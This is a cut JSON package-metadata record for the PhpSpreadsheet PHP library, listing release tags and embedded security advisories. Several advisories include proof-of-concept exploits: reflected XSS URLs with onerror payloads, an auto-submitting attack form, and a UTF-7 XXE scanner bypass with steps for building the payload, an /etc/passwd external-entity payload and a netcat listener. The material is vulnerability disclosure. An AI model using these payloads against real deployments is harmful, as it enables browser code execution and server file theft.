tag","published_at":"2018-09-30T03:57:47.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.4.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"125f462a718956f37d81305ca0df4f17cef0f3b9","kind":"tag","published_at":"2018-08-06T02:58:22.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.4.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.4.0/manifests"},{"name":"1.3.1","sha":"aa5b0d0236c907fd8dba0883f3ceb97cc52e46ec","kind":"tag","published_at":"2018-06-12T13:41:03.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.3.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.3.1/manifests"},{"name":"1.3.0","sha":"2eb342c13da50211fdfea73b513647e22a87e78f","kind":"tag","published_at":"2018-06-10T06:44:32.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.3.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.3.0/manifests"},{"name":"1.2.1","sha":"36acc372875c4d894dc093825ce4f62209db5a76","kind":"tag","published_at":"2018-04-10T03:59:54.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.2.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.2.1/manifests"},{"name":"1.2.0","sha":"8380fb3ad28242093c18d0baa9b7e67fb429ea84","kind":"tag","published_at":"2018-03-04T20:45:09.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.2.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"a2771e562e3a17c0d512d2009e38fd628beece90","kind":"tag","published_at":"2018-01-28T12:38:00.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.1.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.1.0/manifests"},{"name":"1.0.0","sha":"691b68de9b87cf6e398df46482741a4f667a9391","kind":"tag","published_at":"2017-12-25T01:55:36.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.0.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.0.0/manifests"},{"name":"1.0.0-beta2","sha":"59326f1064d61a6ff77822b64124a8046e06a46d","kind":"tag","published_at":"2017-11-26T06:47:49.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.0.0-beta2","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.0.0-beta2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.0.0-beta2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.0.0-beta2/manifests"},{"name":"1.0.0-beta","sha":"7d4dc74fc6219739f1b6e0a7a2f87fdbf33c6ca5","kind":"tag","published_at":"2017-08-17T13:18:43.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.0.0-beta","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.0.0-beta","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.0.0-beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.0.0-beta/manifests"},{"name":"phpexcel-last-cherry-picked-commit","sha":"2291748a8334083bb087632d566873f96ccd96b2","kind":"commit","published_at":"2016-07-14T22:09:19.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/phpexcel-last-cherry-picked-commit","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/phpexcel-last-cherry-picked-commit","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/phpexcel-last-cherry-picked-commit","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/phpexcel-last-cherry-picked-commit/manifests"},{"name":"phpexcel-last-release-1.8.1","sha":"c9cb4d4286f2cac15887c90170e023148b591c9f","kind":"commit","published_at":"2015-05-01T07:06:07.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/phpexcel-last-release-1.8.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/phpexcel-last-release-1.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/phpexcel-last-release-1.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/phpexcel-last-release-1.8.1/manifests"}]},"repo_metadata_updated_at":"2024-10-29T21:21:02.812Z","dependent_packages_count":1063,"downloads":236155896,"downloads_period":"total","dependent_repos_count":20090,"rankings":{"downloads":0.03887083880336489,"dependent_repos_count":0.06380684860174993,"dependent_packages_count":0.04058213359345014,"stargazers_count":0.018335301322341933,"forks_count":0.014668241057873545,"docker_downloads_count":0.09754380303485907,"average":0.045634527735606584},"purl":"pkg:composer/phpoffice/phpspreadsheet","advisories":[{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXhjcmctMjloNy1oNGNq","url":"https://github.com/advisories/GHSA-xcrg-29h7-h4cj","title":"XXE in PHPSpreadsheet due to encoding issue","description":"securityScan() in PHPOffice PhpSpreadsheet through 1.5.0 allows a bypass of protection mechanisms for XXE via UTF-7 encoding in a .xlsx file","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2019-11-20T01:38:52.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2018-19277","https://github.com/MewesK/TwigSpreadsheetBundle/issues/18","https://github.com/PHPOffice/PhpSpreadsheet/issues/771","https://www.drupal.org/sa-contrib-2021-043","https://github.com/PHPOffice/PhpSpreadsheet/pull/780","https://github.com/PHPOffice/PhpSpreadsheet/commit/0f8f071e24ee8b114d894ac172f77dc250e5bfa4","https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.5.1","https://github.com/FriendsOfPHP/security-advisories/blob/master/phpoffice/phpspreadsheet/CVE-2018-19277.yaml","https://www.bishopfox.com/news/2018/11/phpoffice-versions","https://github.com/PHPOffice/PHPExcel/commit/2b601574975acfb9d4378a788ed5f2b747958095","https://github.com/PHPOffice/PHPExcel/commits/1.8.2","https://github.com/advisories/GHSA-xcrg-29h7-h4cj"],"source_kind":"github","identifiers":["GHSA-xcrg-29h7-h4cj","CVE-2018-19277"],"repository_url":"https://github.com/MewesK/TwigSpreadsheetBundle","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"1.8.2","vulnerable_version_range":"\u003c 1.8.2"}],"ecosystem":"packagist","package_name":"phpoffice/phpexcel"},{"versions":[{"first_patched_version":"1.5.1","vulnerable_version_range":"\u003c 1.5.1"}],"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet"}],"created_at":"2022-12-21T16:13:27.226Z","updated_at":"2025-03-06T18:08:04.000Z","epss_percentage":0.01872,"epss_percentile":0.82093},{"uuid":"GSA_kwCzR0hTQS1qbXB4LTY4NnYtYzN3eM4ABC8h","url":"https://github.com/advisories/GHSA-jmpx-686v-c3wx","title":"PhpSpreadsheet allows unauthorized Reflected XSS in the constructor of the Downloader class","description":"# Unauthorized Reflected XSS in the constructor of the `Downloader` class\n\n**Product**: Phpspreadsheet\n**Version**: version 3.6.0\n**CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n**CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)\n**CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)\n**Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/download.php` script, an attacker can perform a XSS-type attack\n**Impact**: execution of arbitrary JavaScript code in the browser\n**Vulnerable component**: the constructor of the `Downloader` class\n**Exploitation conditions**: an unauthorized user\n**Mitigation**: sanitization of the `name` and `type` variables\n**Researcher**: Aleksey Solovev (Positive Technologies)\n\n# Research\n\nThe researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in the constructor of the `Downloader` class) in Phpspreadsheet.\n\nThe latest version (3.6.0) of the `phpoffice/phpspreadsheet` library was installed. The installation was carried out with the inclusion of examples.\n\n*Listing 1. Installing the `phpoffice/phpspreadsheet` library*\n```\n$ composer require phpoffice/phpspreadsheet --prefer-source\n```\n\nThe `./vendor/phpoffice/phpspreadsheet/samples/download.php` file processes the GET parameters `name` and `type`.\n\n![fig1](https://github.com/user-attachments/assets/78d5b3c7-e2ab-4487-98e2-a975f74a71c0)\n\n*Figure 1. The `./vendor/phpoffice/phpspreadsheet/samples/download.php` file accepts GET parameters.*\n\nConsider the constructor of the `Downloader` class, where GET parameters are passed. Error is displayed without sanitization using GET parameters transmitted from the user.\n\n![fig2](https://github.com/user-attachments/assets/00baf1f8-298c-4654-a3e4-b99cf8053eac)\n\n*Figure 2. Error is displayed without sanitization*\n\nWhen clicking on the following link, arbitrary JavaScript code will be executed.\n\n*Listing 2.*\n```\nhttps://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/download.php?name=%3Cimg%20src=1%20onerror=alert()%3E\u0026type=1\n```\n\nDemonstration of the execution of arbitrary JavaScript code.\n\n\u003cimg width=\"537\" alt=\"fig3\" src=\"https://github.com/user-attachments/assets/745d6e21-396f-4357-8ff8-e856adf15fee\" /\u003e\n\n*Figure 3. Executing arbitrary JavaScript code*\n\n\n# Credit\nThis vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-01-03T17:06:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-jmpx-686v-c3wx","https://github.com/PHPOffice/PhpSpreadsheet/commit/700a80346be269af668914172bc6f4521982d0b4#diff-fbb0f53a5c68eeeffaa9ab35552c0b01740396f1a4045af5d2935ec2a62a7816","https://nvd.nist.gov/vuln/detail/CVE-2024-56365","https://github.com/advisories/GHSA-jmpx-686v-c3wx"],"source_kind":"github","identifiers":["GHSA-jmpx-686v-c3wx","CVE-2024-56365"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":35.71473347501047,"packages":[{"versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"ecosystem":"packagist","package_name":"phpoffice/phpexcel"},{"versions":[{"first_patched_version":"2.3.5","vulnerable_version_range":"\u003e= 2.2.0, \u003c= 2.3.4"},{"first_patched_version":"2.1.6","vulnerable_version_range":"\u003e= 2.0.0, \u003c= 2.1.5"},{"first_patched_version":"1.29.7","vulnerable_version_range":"\u003c= 1.29.6"},{"first_patched_version":"3.7.0","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.7.0"}],"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet"}],"created_at":"2025-01-03T18:08:21.690Z","updated_at":"2025-06-03T01:08:15.914Z","epss_percentage":0.00028,"epss_percentile":0.06063},{"uuid":"GSA_kwCzR0hTQS03Y2M5LWo0bXYtdmNqcM4ABBeQ","url":"https://github.com/advisories/GHSA-7cc9-j4mv-vcjp","title":"XXE in PHPSpreadsheet's XLSX reader","description":"### Summary\n\nThe [XmlScanner class](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php) has a [scan](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L72) method which should prevent XXE attacks.\n\nHowever, we found another bypass than the previously reported `CVE-2024-47873`, the regexes from the [findCharSet](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L51) method, which is used for determining the current encoding can be bypassed by using a payload in the encoding UTF-7, and adding at end of the file a comment with the value `encoding=\"UTF-8\"` with `\"`, which is matched by the first regex, so that `encoding='UTF-7'` with single quotes `'` in the XML header is not matched by the second regex: \n\n```\n $patterns = [\n            '/encoding\\\\s*=\\\\s*\"([^\"]*]?)\"/',\n            \"/encoding\\\\s*=\\\\s*'([^']*?)'/\",\n        ];\n``` \n\nA payload for the `workbook.xml` file can for example be created with [CyberChef](https://gchq.github.io/CyberChef/#recipe=Encode_text('UTF-7%20(65000)')\u0026input=Pz4KPCFET0NUWVBFIGZvbyBbCiAgPCFFTEVNRU5UIGZvbyBBTlkgPgogIDwhRU5USVRZIHh4ZSBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgPl0%2BCjxmb28%2BJnh4ZTs8L2Zvbz4K).\nIf you open an Excel file containing the payload from the link above stored in the `workbook.xml` file with PhpSpreadsheet, you will receive an HTTP request on `127.0.0.1:12345`. You can test that an HTTP request is created by running the `nc -nlvp 12345` command before opening the file containing the payload with PhpSpreadsheet.\n\nTo create the payload you need:\n1. Create a file containing `\u003c?xml version = \"1.0\" encoding='UTF-7'` in an XML file\n2. Use the link attached above to create your XXE payload and add it to the XML file. \n3. Add `+ADw-+ACE---encoding=\"UTF-8\"--+AD4-` to the end of the XML file, which is matched by the first regex. \n\n### PoC\n\n[payload.xlsx](https://github.com/user-attachments/files/17375792/payload.xlsx)\n\n- Create a new folder.\n- Run the `composer require phpoffice/phpspreadsheet` command in the new folder.\n- Create an `index.php` file in that folder with the following content:\n```PHP\n\u003c?php\nrequire 'vendor/autoload.php';\n\nuse PhpOffice\\PhpSpreadsheet\\Spreadsheet;\nuse PhpOffice\\PhpSpreadsheet\\Writer\\Xlsx;\n\n$spreadsheet = new Spreadsheet();\n\n$inputFileType = 'Xlsx';\n$inputFileName = './payload.xlsx';\n\n/**  Create a new Reader of the type defined in $inputFileType  **/\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader($inputFileType);\n/**  Advise the Reader that we only want to load cell data  **/\n$reader-\u003esetReadDataOnly(true);\n\n$worksheetData = $reader-\u003elistWorksheetInfo($inputFileName);\n\nforeach ($worksheetData as $worksheet) {\n\n$sheetName = $worksheet['worksheetName'];\n\necho \"\u003ch4\u003e$sheetName\u003c/h4\u003e\";\n/**  Load $inputFileName to a Spreadsheet Object  **/\n$reader-\u003esetLoadSheetsOnly($sheetName);\n$spreadsheet = $reader-\u003eload($inputFileName);\n\n$worksheet = $spreadsheet-\u003egetActiveSheet();\nprint_r($worksheet-\u003etoArray());\n\n}\n```\n- Run the following command: `php -S 127.0.0.1:8080`\n- Add the [payload.xlsx](https://github.com/user-attachments/files/17375792/payload.xlsx) file in the folder and open \u003chttps://127.0.0.1:8080\u003e in a browser. You will see an HTTP request on netcat \u003chttp://127.0.0.1:12345/ext.dtd\u003e.\n\n### Impact\n\nAn attacker can bypass the sanitizer and achieve an [XXE attack](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-11-18T20:01:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-7cc9-j4mv-vcjp","https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing","https://nvd.nist.gov/vuln/detail/CVE-2024-48917","https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php","https://github.com/advisories/GHSA-7cc9-j4mv-vcjp"],"source_kind":"github","identifiers":["GHSA-7cc9-j4mv-vcjp","CVE-2024-48917"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"ecosystem":"packagist","package_name":"phpoffice/phpexcel"},{"versions":[{"first_patched_version":"3.4.0","vulnerable_version_range":"\u003e= 3.3.0, \u003c 3.4.0"},{"first_patched_version":"2.3.2","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.3.2"},{"first_patched_version":"2.1.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.1.3"},{"first_patched_version":"1.29.4","vulnerable_version_range":"\u003c 1.29.4"}],"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet"}],"created_at":"2024-11-18T21:06:55.743Z","updated_at":"2025-03-06T18:22:22.000Z","epss_percentage":0.00027,"epss_percentile":0.05652},{"uuid":"GSA_kwCzR0hTQS1od2NwLTJoMzUtcDY2d84ABC8l","url":"https://github.com/advisories/GHSA-hwcp-2h35-p66w","title":"PhpSpreadsheet has a Cross-Site Scripting (XSS) vulnerability of the hyperlink base in the HTML page header","description":"# Cross-Site Scripting (XSS) vulnerability of the hyperlink base in the HTML page header\n\n**Product**: Phpspreadsheet\n**Version**: version 3.6.0\n**CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n**CVSS vector v.3.1**: 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)\n**CVSS vector v.4.0**: 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N)\n**Description**: the HTML page is formed without sanitizing the hyperlink base\n**Impact**: executing arbitrary JavaScript code in the browser\n**Vulnerable component**: class `PhpOffice\\PhpSpreadsheet\\Writer\\Html`, method `generateHTMLHeader`\n**Exploitation conditions**: a user viewing a specially generated Excel file\n**Mitigation**: additional sanitization of special characters in a string\n**Researcher**: Aleksey Solovev (Positive Technologies)\n\n# Research\n\nThe researcher discovered zero-day vulnerability Cross-Site Scripting (XSS) vulnerability of the hyperlink base in the HTML page header in Phpspreadsheet.\nThe following code is written on the server, which translates the XLSX file into a HTML representation and displays it in the response.\n\n*Listing 8. Source code on the server*\n\n```\n\u003c?php\n\nrequire __DIR__ . '/vendor/autoload.php';\n\n$inputFileName = './doc/Book1.xlsx';\n$spreadsheet = \\PhpOffice\\PhpSpreadsheet\\IOFactory::load($inputFileName);\n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet);\nprint($writer-\u003egenerateHTMLAll());\n```\n\nAn attacker can embed a payload in a file property that will result in the execution of arbitrary JavaScript code.\nThe Excel file is unpacked and a HyperlinkBase in the file is inserted into the `docProps/app.xml` file.\n\n![fig14](https://github.com/user-attachments/assets/f68ef7fc-e78e-4424-8753-4318b6ff51c3)\n\n*Figure 14. Embedding the payload* \n\nAfter the changes were made, a new archive with the xlsx extension was created. At the moment of converting the xlsx file into the HTML representation, a property is obtained that participates in the formation of a string without sanitization.\n\n![fig15](https://github.com/user-attachments/assets/0aa7398c-ddd9-4c5a-ab04-41af0236dcba)\n\n*Figure 15. Generating the HTML page header using the HyperlinkBase property* \n\nAfter generating and displaying the HTML representation of the XLSX file, arbitrary JavaScript code will be executed.\n\u003cimg width=\"356\" alt=\"fig16\" src=\"https://github.com/user-attachments/assets/c3694661-31e3-4be8-9a86-6eb4dd4647b5\" /\u003e\n\n*Figure 16. Executing arbitrary JavaScript code* \n\n# Credit\nThis vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-01-03T17:28:50.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-hwcp-2h35-p66w","https://github.com/PHPOffice/PhpSpreadsheet/commit/45052f88e04c735d56457a8ffcdc40b2635a028e","https://nvd.nist.gov/vuln/detail/CVE-2024-56411","https://github.com/advisories/GHSA-hwcp-2h35-p66w"],"source_kind":"github","identifiers":["GHSA-hwcp-2h35-p66w","CVE-2024-56411"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":20.654303696391597,"packages":[{"versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"ecosystem":"packagist","package_name":"phpoffice/phpexcel"},{"versions":[{"first_patched_version":"2.3.5","vulnerable_version_range":"\u003e= 2.2.0, \u003c= 2.3.4"},{"first_patched_version":"2.1.6","vulnerable_version_range":"\u003e= 2.0.0, \u003c= 2.1.5"},{"first_patched_version":"1.29.7","vulnerable_version_range":"\u003c= 1.29.6"},{"first_patched_version":"3.7.0","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.7.0"}],"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet"}],"created_at":"2025-01-03T18:08:21.534Z","updated_at":"2025-06-03T01:08:16.025Z","epss_percentage":0.00028,"epss_percentile":0.06063},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXZ2d3YtaDY5bS13ZzZm","url":"https://github.com/advisories/GHSA-vvwv-h69m-wg6f","title":"XXE in PHPSpreadsheet due to incomplete fix for previous encoding issue","description":"PHPOffice PhpSpreadsheet before 1.8.0 has an XXE issue. The XmlScanner decodes the sheet1.xml from an .xlsx to utf-8 if something else than UTF-8 is declared in the header. This was a security measurement to prevent CVE-2018-19277 but the fix is not sufficient. By double-encoding the the xml payload to utf-7 it is possible to bypass the check for the string ?\u003c!ENTITY? and thus allowing for an xml external entity processing (XXE) attack.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2019-11-20T01:39:57.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2019-12331","https://github.com/PHPOffice/PhpSpreadsheet/blob/master/CHANGELOG.md#180---2019-07-01","https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.8.0","https://github.com/PHPOffice/PhpSpreadsheet/pull/1041","https://github.com/PHPOffice/PhpSpreadsheet/commit/0e6238c69e863b58aeece61e48ea032696c6dccd","https://github.com/FriendsOfPHP/security-advisories/blob/master/phpoffice/phpspreadsheet/CVE-2019-12331.yaml","https://herolab.usd.de/security-advisories/usd-2019-0046","https://github.com/advisories/GHSA-vvwv-h69m-wg6f"],"source_kind":"github","identifiers":["GHSA-vvwv-h69m-wg6f","CVE-2019-12331"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"ecosystem":"packagist","package_name":"phpoffice/phpexcel"},{"versions":[{"first_patched_version":"1.8.0","vulnerable_version_range":"\u003c 1.8.0"}],"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet"}],"created_at":"2022-12-21T16:13:27.217Z","updated_at":"2025-03-06T18:02:28.000Z","epss_percentage":0.00324,"epss_percentile":0.54511},{"uuid":"GSA_kwCzR0hTQS14ODhnLWg5NTYtbTV4Z84ABC8c","url":"https://github.com/advisories/GHSA-x88g-h956-m5xg","title":"PhpSpreadsheet allows unauthorized Reflected XSS in `Convert-Online.php` file","description":"# Unauthorized Reflected XSS in `Convert-Online.php` file\n**Product**: Phpspreadsheet\n**Version**: version 3.6.0\n**CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n**CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)\n**CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)\n**Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php` script, an attacker can perform a XSS-type attack \n**Impact**: executing arbitrary JavaScript code in the browser\n**Vulnerable component**: the `/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php` file\n**Exploitation conditions**: an unauthorized user\n**Mitigation**: sanitization of the quantity variable\n**Researcher**: Aleksey Solovev (Positive Technologies)\n\n# Research\n\nThe researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in `Convert-Online.php` file) in Phpspreadsheet.\n\nThere is no sanitization in the `/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php` file, which leads to the possibility of a XSS attack.\n\n![fig4](https://github.com/user-attachments/assets/71a6ab8b-db65-4e7e-bb36-39f0bd0f7077)\n\n*Figure 4. The message with the quantity parameter is displayed without sanitization*\n\n\nThe following figure shows a POST HTTP-request and a response to the server with the variable quantity, which is displayed in the response from the server without sanitization.\n\n\u003cimg width=\"460\" alt=\"fig5\" src=\"https://github.com/user-attachments/assets/022323c9-ca1e-44ea-9380-37ed7848e971\" /\u003e\n\n*Figure 5. In the server's response , the quantity variable is displayed without sanitization*\n\nAn attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.\n\n*Listing 3. HTML form that demonstrates the exploitation of the XSS vulnerability*\n\n```\n\u003chtml\u003e\n  \u003c!-- CSRF PoC - generated by Burp Suite Professional --\u003e\n  \u003cbody\u003e\n    \u003cform action=\"https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php\" method=\"POST\"\u003e\n      \u003cinput type=\"hidden\" name=\"category\" value=\"Weight\u0026#32;and\u0026#32;Mass\" /\u003e\n      \u003cinput type=\"hidden\" name=\"quantity\" value=\"1\u0026#46;0\u0026lt;img\u0026#32;src\u0026#61;1\u0026#32;onerror\u0026#61;alert\u0026#40;\u0026#41;\u0026gt;\" /\u003e\n      \u003cinput type=\"hidden\" name=\"fromUnit\" value=\"g\" /\u003e\n      \u003cinput type=\"hidden\" name=\"toUnit\" value=\"g\" /\u003e\n      \u003cinput type=\"hidden\" name=\"submitx\" value=\"Convert\" /\u003e\n      \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n    \u003c/form\u003e\n    \u003cscript\u003e\n      history.pushState('', '', '/');\n      document.forms[0].submit();\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\nAfter the user visits the attacker's resource, the form will be sent to the vulnerable scenario, which will lead to the execution of arbitrary code in the client's browser.\n \n\u003cimg width=\"389\" alt=\"fig6\" 